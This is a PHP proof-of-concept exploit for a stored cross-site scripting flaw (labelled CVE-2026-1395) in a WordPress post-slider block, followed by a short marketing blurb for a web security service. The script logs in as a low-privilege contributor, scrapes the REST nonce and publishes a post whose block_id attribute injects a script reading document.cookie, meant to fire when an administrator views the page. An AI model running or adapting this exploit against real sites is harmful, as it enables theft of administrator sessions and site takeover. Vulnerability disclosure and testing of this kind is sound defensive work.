$username = 'attacker'; // WordPress user with Contributor+ role
$password = 'attacker_password';

// Step 1: Login to WordPress and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a fresh nonce for creating posts with blocks
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract wp_rest nonce from the page (used for block editor)
preg_match('/wpApiSettings.nonces*=s*"([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Create a post with the vulnerable Post Slider block and XSS payload in block_id
// The block_id attribute will contain the XSS payload
$rest_url = $target_url . '/wp-json/wp/v2/posts';

// The payload: block_id with a closing double quote and script tag
$malicious_block_id = '"><script>alert(document.cookie)</script>';

// Post content including the gutentools/post-slider block with malicious block_id
$post_data = [
    'title' => 'Test Post - CVE-2026-1395 PoC',
    'content' => '<!-- wp:gutentools/post-slider {"block_id":"' . $malicious_block_id . '","slidesToShow":{"desktop":3,"tablet":2,"mobile":1},"speed":300,"autoplay":true,"enableArrow":true,"enableDots":false} /-->',
    'status' => 'publish'
];

$post_json = json_encode($post_data);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_json);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);
if (isset($result['id'])) {
    echo "[+] Post created successfully. Post ID: " . $result['id'] . "n";
    echo "[+] View the injected page at: " . $target_url . '/?p=' . $result['id'] . "n";
    echo "[+] XSS payload should execute when an admin views this post.n";
} else {
    echo "[-] Failed to create post.n";
    print_r($result);
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School